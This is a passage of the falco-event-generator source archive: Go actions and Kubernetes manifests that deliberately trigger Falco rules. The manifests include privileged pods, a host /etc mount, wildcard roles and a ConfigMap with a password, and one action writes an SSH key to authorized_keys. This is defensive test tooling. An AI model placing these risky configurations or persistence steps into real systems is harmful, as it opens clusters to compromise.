Basically, all files within the [./k8saudit/yaml/](https://github.com/falcosecurity/event-generator/tree/main/events/k8saudit/yaml) folder will be embedded into the binary at build time, then [yaml_loader.go](https://github.com/falcosecurity/event-generator/blob/main/events/k8saudit/yaml_loader.go) will automatically create and register an *action* for each of those at initialization time.
## Usage
Although the easiest way to use the registry is by using the provided CLI, it can be also used as a standalone package:
```golang
import (
// register event collections you what to use
_ "github.com/falcosecurity/event-generator/events/k8saudit"
_ "github.com/falcosecurity/event-generator/events/syscall"
"github.com/falcosecurity/event-generator/events"
)
```
Then you can retrieve actions by one of:
```golang
// return all registered actions
events.All()
// return all registered actions starting with syscall.Write
reg, _ := regexp.Compile(`syscall.Write`)
events.ByRegexp(reg)
// return all registered actions within the k8saudit collection
events.ByPackage("k8saudit")
```
Finally, to call an *action* you need a runner. The default runner implementation is [here](https://github.com/falcosecurity/event-generator/tree/master/pkg/runner).
07070100000022000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002B00000000falco-event-generator-0.12.0/events/helper07070100000023000081A400000000000000000000000166F189F100000820000000000000000000000000000000000000004500000000falco-event-generator-0.12.0/events/helper/combined_server_client.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"bytes"
"errors"
"net"
"time"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(CombinedServerClient)
func CombinedServerClient(h events.Helper) error {
serverAddr, err := net.ResolveUDPAddr("udp", "localhost:1234")
if err != nil {
return err
}
// start server
serverConn, err := net.ListenUDP("udp", serverAddr)
if err != nil {
return err
}
defer func() {
if err := serverConn.Close(); err != nil {
h.Log().WithError(err).Error("failed to close server connection")
}
}()
h.Log().Debug("server is listening on localhost:1234")
buf := make([]byte, 1024)
// wait for client to send data
srvErr := make(chan error)
go func() {
defer close(srvErr)
_, _, err = serverConn.ReadFromUDP(buf)
srvErr <- err
}()
// connect to server and send data
clientConn, err := net.DialUDP("udp", nil, serverAddr)
if err != nil {
return err
}
defer func() {
if err := clientConn.Close(); err != nil {
h.Log().WithError(err).Error("failed to close client connection")
}
}()
data := []byte{0xCA, 0xFE, 0xBA, 0xBE}
if _, err = clientConn.Write(data); err != nil {
return err
}
h.Log().Debugf("client sent: %X", data)
// wait for server to respond or timeout
select {
case err := <-srvErr:
if err != nil {
return err
}
h.Log().Debugf("server received: %X", bytes.Trim(buf, "\x00"))
return nil
case <-time.After(5 * time.Second):
return errors.New("timeout")
}
}
07070100000024000081A400000000000000000000000166F189F100000394000000000000000000000000000000000000003900000000falco-event-generator-0.12.0/events/helper/do_nothing.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(DoNothing)
// DoNothing does nothing.
// It can be used to just test execve events or command line arguments
// when using the helper function SpawnAs.
func DoNothing(h events.Helper) error {
return nil
}
07070100000025000081A400000000000000000000000166F189F100000343000000000000000000000000000000000000003600000000falco-event-generator-0.12.0/events/helper/exec_ls.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(ExecLs)
// ExecLs executes /bin/ls.
func ExecLs(h events.Helper) error {
return exec.Command("/bin/ls").Run()
}
07070100000026000081A400000000000000000000000166F189F10000070C000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/events/helper/inbound_connection.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"fmt"
"net"
"strconv"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(InboundConnection)
func InboundConnection(h events.Helper) error {
address, err := getAvailableLocalAddress(h)
if err != nil {
return err
}
listener, err := net.Listen("tcp", address)
if err != nil {
return err
}
defer func() {
if err := listener.Close(); err != nil {
h.Log().WithError(err).Error("failed to close listener")
}
}()
return nil
}
func getAvailableLocalAddress(h events.Helper) (string, error) {
addrs, err := net.InterfaceAddrs()
if err != nil {
return "", err
}
for _, addr := range addrs {
ipNet, ok := addr.(*net.IPNet)
if !ok {
continue
}
if ipNet.IP.IsLoopback() || ipNet.IP.IsUnspecified() {
continue
}
ip := ipNet.IP.To4()
if ip == nil {
continue
}
listener, err := net.ListenTCP("tcp4", &net.TCPAddr{IP: ip})
if err != nil {
continue
}
if err := listener.Close(); err != nil {
h.Log().WithError(err).Error("failed to close listener")
continue
}
return fmt.Sprintf("%s:%s", ip.String(), strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)), nil
}
return "", err
}
07070100000027000081A400000000000000000000000166F189F1000003FC000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/helper/network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"net"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(NetworkActivity)
// NetworkActivity tries to connect to an andress.
func NetworkActivity(h events.Helper) error {
conn, err := net.Dial("udp", "10.2.3.4:8192")
defer func() {
if err := conn.Close(); err != nil {
h.Log().WithError(err).Error("failed to close connection")
}
}()
return err
}
07070100000028000081A400000000000000000000000166F189F1000003F1000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/helper/outbound_connection.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"net"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(OutboundConnection)
func OutboundConnection(h events.Helper) error {
conn, err := net.Dial("udp", "example.net:53")
if err != nil {
return err
}
defer func() {
if err := conn.Close(); err != nil {
h.Log().WithError(err).Error("failed to close connection")
}
}()
return nil
}
07070100000029000081A400000000000000000000000166F189F10000036F000000000000000000000000000000000000003800000000falco-event-generator-0.12.0/events/helper/run_shell.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package helper
import (
"os/exec"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(RunShell)
// RunShell executes a dummy command in a shell.
func RunShell(h events.Helper) error {
return exec.Command("sh", "-c", "ls > /dev/null").Run()
}
0707010000002A000081A400000000000000000000000166F189F1000009AC000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/events/interfaces.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package events
import (
"fmt"
"time"
logger "github.com/sirupsen/logrus"
"k8s.io/cli-runtime/pkg/resource"
)
// ErrSkipped must be returned by an action when skipped for any reason.
type ErrSkipped struct {
Reason string
}
func (e *ErrSkipped) Error() string {
return fmt.Sprintf("action skipped: %s", e.Reason)
}
// A Helper is passed to an Action as argument.
type Helper interface {
// Log returns an intermediate logger.Entry
// that already contains default fields for the current action.
Log() *logger.Entry
// Sleep pauses the current goroutine for at least the given duration and logs that.
Sleep(time.Duration)
// Cleanup registers a function to be called when the action complete or later.
// Cleanup functions registered from within the same action will be called in last added,
// first called order.
Cleanup(f func(), args ...interface{})
// SpawnAs starts a child process and waits for it to complete.
// The child runs the given action as a different program name.
// The current event-generator binary is copied with a differen name
// prior to be run.
SpawnAs(name string, action string, args ...string) error
// SpawnAsWithSymlink works like SpawnAs, except that it does not make a
// copy of the the current event-generator binary, but creates a symlink instead.
SpawnAsWithSymlink(name string, action string, args ...string) error
// Spawned returns true if the action is running in a child process.
Spawned() bool
// ResourceBuilder returns a k8s' resource.Builder.
ResourceBuilder() *resource.Builder
// InContainer returns true if the application is running in a container.
// Useful to skip actions which won't work within a container.
InContainer() bool
// ExePath returns the path of the event-generator executable
ExePath() string
}
// An Action triggers an event.
type Action func(Helper) error
0707010000002B000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002D00000000falco-event-generator-0.12.0/events/k8saudit0707010000002C000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003200000000falco-event-generator-0.12.0/events/k8saudit/yaml0707010000002D000081A400000000000000000000000166F189F100000142000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-pod-exec-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-exec-role
labels:
app.kubernetes.io/name: pod-exec-role
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: ClusterRole-With-Pod-Exec-Created
rules:
- apiGroups:
- ""
resources:
- "pods/exec"
verbs:
- get
0707010000002E000081A400000000000000000000000166F189F10000014E000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-wildcard-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: wildcard-resources-role
labels:
app.kubernetes.io/name: wildcard-resources-role
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: ClusterRole-With-Wildcard-Created
rules:
- apiGroups:
- ""
resources:
- "*"
verbs:
- get
0707010000002F000081A400000000000000000000000166F189F100000158000000000000000000000000000000000000006200000000falco-event-generator-0.12.0/events/k8saudit/yaml/cluster-role-with-write-privileges-created.yamlapiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: write-privileges-role
labels:
app.kubernetes.io/name: write-privileges-role
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: ClusterRole-With-Write-Privileges-Created
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- create
07070100000030000081A400000000000000000000000166F189F100000292000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-disallowed-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
name: disallowed-pod-deployment
labels:
app.kubernetes.io/name: disallowed-pod-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-Disallowed-Pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: disallowed-pod-busybox
template:
metadata:
labels:
app.kubernetes.io/name: disallowed-pod-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000031000081A400000000000000000000000166F189F10000029F000000000000000000000000000000000000004F00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-host-network-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
name: hostnetwork-deployment
labels:
app.kubernetes.io/name: hostnetwork-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-HostNetwork-Pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: hostnetwork-busybox
template:
metadata:
labels:
app.kubernetes.io/name: hostnetwork-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
hostNetwork: true
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000032000081A400000000000000000000000166F189F10000017F000000000000000000000000000000000000006800000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-modify-configmap-with-private-credentials.yamlapiVersion: v1
kind: ConfigMap
metadata:
name: private-creds-configmap
labels:
app.kubernetes.io/name: private-creds-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-Modify-Configmap-With-Private-Credentials
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true
password=some_secret_password
07070100000033000081A400000000000000000000000166F189F100000124000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-node-port-service.yamlapiVersion: v1
kind: Service
metadata:
name: nodeport-service
labels:
app.kubernetes.io/name: nodeport-service
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-NodePort-Service
spec:
type: NodePort
ports:
- port: 80
selector:
app: busybox
07070100000034000081A400000000000000000000000166F189F1000002B9000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-privileged-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
name: privileged-deployment
labels:
app.kubernetes.io/name: privileged-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-Privileged-Pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: privileged-busybox
template:
metadata:
labels:
app.kubernetes.io/name: privileged-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- securityContext:
privileged: true
name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]07070100000035000081A400000000000000000000000166F189F10000033C000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/k8saudit/yaml/create-sensitive-mount-pod.yamlapiVersion: apps/v1
kind: Deployment
metadata:
name: sensitive-mount-deployment
labels:
app.kubernetes.io/name: sensitive-mount-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: Create-Sensitive-Mount-Pod
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: sensitive-mount-busybox
template:
metadata:
labels:
app.kubernetes.io/name: sensitive-mount-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
volumeMounts:
- mountPath: /host/etc
name: etc
volumes:
- name: etc
hostPath:
path: /etc
07070100000036000081A400000000000000000000000166F189F100000135000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-config-map-created.yamlapiVersion: v1
kind: ConfigMap
metadata:
name: vanilla-configmap
labels:
app.kubernetes.io/name: vanilla-configmap
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: K8s-ConfigMap-Created
data:
ui.properties: |
color.good=purple
color.bad=yellow
allow.textmode=true07070100000037000081A400000000000000000000000166F189F100000277000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-deployment-created.yamlapiVersion: apps/v1
kind: Deployment
metadata:
name: vanilla-deployment
labels:
app.kubernetes.io/name: vanilla-deployment
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: K8s-Deployment-Created
spec:
replicas: 1
selector:
matchLabels:
app.kubernetes.io/name: vanilla-busybox
template:
metadata:
labels:
app.kubernetes.io/name: vanilla-busybox
app.kubernetes.io/part-of: falco-event-generator
spec:
containers:
- name: busybox
image: busybox
command: ["/bin/sh", "-c", "while true; do echo sleeping; sleep 3600; done"]
07070100000038000081A400000000000000000000000166F189F10000011E000000000000000000000000000000000000004B00000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-service-created.yamlapiVersion: v1
kind: Service
metadata:
name: vanilla-service
labels:
app.kubernetes.io/name: vanilla-service
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: K8s-Service-Created
spec:
type: ClusterIP
ports:
- port: 80
selector:
app: busybox07070100000039000081A400000000000000000000000166F189F1000003E4000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/k8saudit/yaml/k8s-serviceaccount-created.yamlapiVersion: v1
kind: ServiceAccount
metadata:
name: vanilla-serviceaccount
labels:
app.kubernetes.io/name: vanilla-serviceaccount
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: K8s-Serviceaccount-Created
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: vanilla-role
labels:
app.kubernetes.io/name: vanilla-role
app.kubernetes.io/part-of: falco-event-generator
falco.rules: K8s-Role-Clusterrole-Created
message: Creating-role
rules:
- apiGroups:
- ""
resources:
- "pods"
verbs:
- list
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: vanilla-role-binding
labels:
app.kubernetes.io/name: vanilla-role-binding
app.kubernetes.io/part-of: falco-event-generator
falco.org/rule: K8s-Role-Clusterrolebinding-Created
roleRef:
kind: Role
name: vanilla-role
apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
name: vanilla-service-account0707010000003A000081A400000000000000000000000166F189F100000619000000000000000000000000000000000000003E00000000falco-event-generator-0.12.0/events/k8saudit/yaml_disabled.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package k8saudit
// disabled items will be registered with events.WithDisabled() option
var disabled = map[string]bool{
"cluster-role-with-pod-exec-created.yaml": true,
"cluster-role-with-wildcard-created.yaml": true,
"cluster-role-with-write-privileges-created.yaml": true,
"create-disallowed-pod.yaml": true,
"create-host-network-pod.yaml": true,
"create-modify-configmap-with-private-credentials.yaml": true,
"create-node-port-service.yaml": true,
"create-privileged-pod.yaml": true,
"create-sensitive-mount-pod.yaml": true,
"k8s-config-map-created.yaml": true,
"k8s-deployment-created.yaml": true,
"k8s-serviceaccount-created.yaml": true,
"k8s-service-created.yaml": true,
}
0707010000003B000081A400000000000000000000000166F189F100000A6C000000000000000000000000000000000000003C00000000falco-event-generator-0.12.0/events/k8saudit/yaml_loader.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package k8saudit
import (
"bytes"
"errors"
"path/filepath"
"strings"
"github.com/iancoleman/strcase"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/cli-runtime/pkg/resource"
"github.com/falcosecurity/event-generator/events"
"github.com/falcosecurity/event-generator/events/k8saudit/yaml"
)
func init() {
for n, b := range yaml.Bundle {
// The filename must be in the dash-case format,
// so it will be converted to CamelCase and used as action's name.
fileName := n
fileContent := b
name := strcase.ToCamel(strings.TrimSuffix(fileName, filepath.Ext(fileName)))
actionName := "k8saudit." + name
opts := make(events.Options, 0)
if disabled[fileName] {
opts = append(opts, events.WithDisabled())
}
events.RegisterWithName(func(h events.Helper) error {
count := 0
r := h.ResourceBuilder().
Unstructured().
// Schema(schema). // todo(leogr): do we need this?
ContinueOnError().
Stream(bytes.NewReader(fileContent), fileName).
Flatten().
Do()
if err := r.Err(); err != nil {
return err
}
err := r.Visit(func(info *resource.Info, err error) error {
if err != nil {
return err
}
log := h.Log().
WithField("kind", info.Mapping.GroupVersionKind.Kind).
WithField("name", info.Name)
h.Cleanup(func() {
if _, err := resource.
NewHelper(info.Client, info.Mapping).
DeleteWithOptions(info.Namespace, info.Name, &metav1.DeleteOptions{}); err != nil {
log.WithError(err).Error("delete k8s resource")
}
}, log)
log.Info("create k8s resource")
obj, err := resource.
NewHelper(info.Client, info.Mapping).
Create(info.Namespace, true, info.Object)
if err != nil {
return err
}
if err := info.Refresh(obj, true); err != nil {
log.WithError(err).Error("refresh k8s resource")
}
count++
return nil
})
if err != nil {
return err
}
if count == 0 {
return errors.New("no objects passed to create")
}
return nil
},
actionName,
opts...,
)
}
}
0707010000003C000081A400000000000000000000000166F189F1000004A4000000000000000000000000000000000000002F00000000falco-event-generator-0.12.0/events/options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package events
var options = make(map[string]*actionOpts, 0)
type actionOpts struct {
disabled bool
}
// Option is a functional option
type Option func(*actionOpts)
// Options is a slice of Option.
type Options []Option
func (o Options) applyTo(name string) {
a, ok := options[name]
if !ok {
a = &actionOpts{}
options[name] = a
}
for _, f := range o {
f(a)
}
}
func WithDisabled() Option {
return func(a *actionOpts) {
a.disabled = true
}
}
func Disabled(name string) bool {
if a, ok := options[name]; ok && a != nil {
return a.disabled
}
return false
}
0707010000003D000081A400000000000000000000000166F189F1000009D5000000000000000000000000000000000000003000000000falco-event-generator-0.12.0/events/registry.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package events
import (
"reflect"
"regexp"
"runtime"
"strings"
)
var nonAlphaNumericReg = regexp.MustCompile("[^a-zA-Z0-9]+")
var registry = make(map[string]Action, 0)
// Register register an action.
func Register(f Action, opts ...Option) map[string]Action {
n := getFuncName(f)
checkName(n)
return RegisterWithName(f, n, opts...)
}
// RegisterWithName registers an action with a given name.
func RegisterWithName(f Action, name string, opts ...Option) map[string]Action {
checkName(name)
registry[name] = f
Options(opts).applyTo(name)
return registry
}
func checkName(n string) {
if n == "" { // todo(leogr): check name format too
panic("event name cannot be empty")
}
if _, ok := registry[n]; ok {
panic("event name already registered: " + n)
}
}
func getFuncName(f interface{}) string {
pc := reflect.ValueOf(f).Pointer()
rf := runtime.FuncForPC(pc)
parts := strings.Split(rf.Name(), "/")
return parts[len(parts)-1]
}
// All returns a map of all registered actions
func All() map[string]Action {
return registry
}
// ByRegexp returns a map of actions whose name matches the given regular expression.
func ByRegexp(r *regexp.Regexp) map[string]Action {
ret := make(map[string]Action, 0)
for n, f := range registry {
if r.MatchString(n) {
ret[n] = f
}
}
return ret
}
// ByPackage returns a map of actions registered in given package.
func ByPackage(packageName string) map[string]Action {
ret := make(map[string]Action, 0)
for n, f := range registry {
parts := strings.Split(n, ".")
if len(parts) > 0 && parts[0] == packageName {
ret[n] = f
}
}
return ret
}
// MatchRule returns true if the name of an action matches a given rule.
func MatchRule(name string, rule string) bool {
parts := strings.Split(name, ".")
l := len(parts)
if l == 0 {
return false
}
return strings.EqualFold(parts[l-1], nonAlphaNumericReg.ReplaceAllString(rule, ""))
}
0707010000003E000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002C00000000falco-event-generator-0.12.0/events/syscall0707010000003F000081A400000000000000000000000166F189F10000052E000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/adding_ssh_keys_to_authorized_keys.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os"
"path/filepath"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
AddingSshKeysToAuthorizedKeys,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func AddingSshKeysToAuthorizedKeys(h events.Helper) error {
// create .ssh directory inside tempDirectory
sshDir, cleanup, err := createSshDirectoryUnderHome(h)
if err != nil {
return err
}
defer cleanup()
filename := filepath.Join(sshDir, "authorized_keys")
// create authorized_keys file, and write into it
return os.WriteFile(filename, []byte("ssh-rsa <ssh_public_key>\n"), os.FileMode(0600))
}
07070100000040000081A400000000000000000000000166F189F10000085C000000000000000000000000000000000000005700000000falco-event-generator-0.12.0/events/syscall/change_namespace_privileges_via_unshare.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"fmt"
"os/exec"
"strings"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ChangeNamespacePrivilegesViaUnshare,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ChangeNamespacePrivilegesViaUnshare(h events.Helper) error {
if !h.InContainer() {
return &events.ErrSkipped{
Reason: "only applicable to containers",
}
}
// read the CapEff value from /proc/self/status
capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output()
if err != nil {
return err
}
// convert the CapEff value to a string and trim whitespace
capEffValue := strings.TrimSpace(string(capEffValueBytes))
// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin")
if err != nil {
return err
}
if hasCAPSysAdmin {
return &events.ErrSkipped{
Reason: "non-privileged container required",
}
}
unshare, err := exec.LookPath("unshare")
if err != nil {
// if we don't have an unshare, just bail
return &events.ErrSkipped{
Reason: "unshare executable file not found in $PATH",
}
}
// note: to trigger the rule, do not pass any arguments to unshare
cmd := exec.Command(unshare)
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
07070100000041000081A400000000000000000000000166F189F10000079A000000000000000000000000000000000000004700000000falco-event-generator-0.12.0/events/syscall/change_thread_namespace.go//go:build linux
// +build linux
// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall
import (
"os/exec"
"strings"
"golang.org/x/sys/unix"
"github.com/falcosecurity/event-generator/events"
)
var _ = events.Register(
ChangeThreadNamespace,
events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)
func ChangeThreadNamespace(h events.Helper) error {
if h.InContainer() {
// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
// read the CapEff value from /proc/self/status
if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
// convert the CapEff value to a string and trim whitespace
capEffValue := strings.TrimSpace(string(capEffValueBytes))
